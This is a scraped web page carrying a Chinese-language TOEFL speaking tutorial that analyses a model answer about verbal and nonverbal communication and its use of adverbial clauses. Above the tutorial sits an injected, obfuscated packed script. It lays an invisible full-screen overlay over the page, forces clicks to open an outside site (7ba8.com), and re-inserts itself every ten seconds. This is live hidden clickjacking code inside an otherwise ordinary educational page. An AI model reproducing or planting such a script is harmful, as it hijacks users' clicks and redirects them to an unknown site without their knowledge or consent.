<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>逻辑游戏:如何征服新托福口语
朗阁海外考试研究中心 冯艳华
u例二、
阅读材料：
Verbal and Nonverbal Communication
When we speak with other people face-to-face, the nonverbal signals we give—our facial expressions, hand gestures, body movements, and tone of voice—often communicate as mush as, or more than, the words we utter. When our nonverbal signals, which we often produce unconsciously, agree with our verbal message, the verbal message is enhanced and supported, made more convincing. But when they conflict with the verbal message, we maybe communicating an entirely different and more accurate message than what we intend.
听力材料针对阅读中的非口头语言在交流中的两种作用举了两个具体的例子做解答。我们直接通过答案来揭晓这两个例子。
问题：
Explain how the examples from the professor’s lecture illustrate the relationship between verbal and nonverbal communication.
参考答案：
The professor gives two examples to illustrate, respectively, how nonverbal communication helps to convince others of what we say and also how it betrays us by tipping others off on our real intentions. The first example is about his favorite uncle’s surprise visit. When he answered the door and found his uncle, he got so excited that his eyes got really wide and at the same time he broke into a huge smile, even jumped like a boy, totally unconsciously. As a result, his uncle felt warmly welcome by him. The second example is about his daughter. When he showed his daughter how to use the hammer, he hurt his thumb. Though he tried to hide his pain by telling his daughter he was ok, her daughter seemed not to believe because his shaking hands and trembling voice made his words less trustable.
答案分析：
该题属于心理学话题，听力中的例子非常生活化，在组织答案特别是讲述例子时我们除了会用到条件，原因状语从句外，还会用上另外一种：时间状语从句。
讲述第一个例子，when he answered the door…,
以及at the same time…, 都是时间状语从句的典型应用。讲述第二个例子中, when he showed his daughter…,
也是同样的句型。可见，时间状语从句是在回忆故事来龙去脉时必不可少的一项武器。此外，该范例回答中，还用到了两处结果状语从句(As a result, his uncle…, 以及he got so excited that…), 一处让步状语从句（though he tried to…），一次原因状语从句（because his shaking hands and trembling voice…）。
综合以上两例，不难推断出状语从句在新托福Task4答题中着实起着举足轻重的地位，甚至可以说，几乎任何两句之间的连接都可见状语从句的影子。朗阁海外考试研究中心建议考生在组织口语答案时，应当有意识的通过常见状语从句的使用给考官释放信号弹，以体现答案的强烈逻辑感，从而拿到满意的成绩。 |
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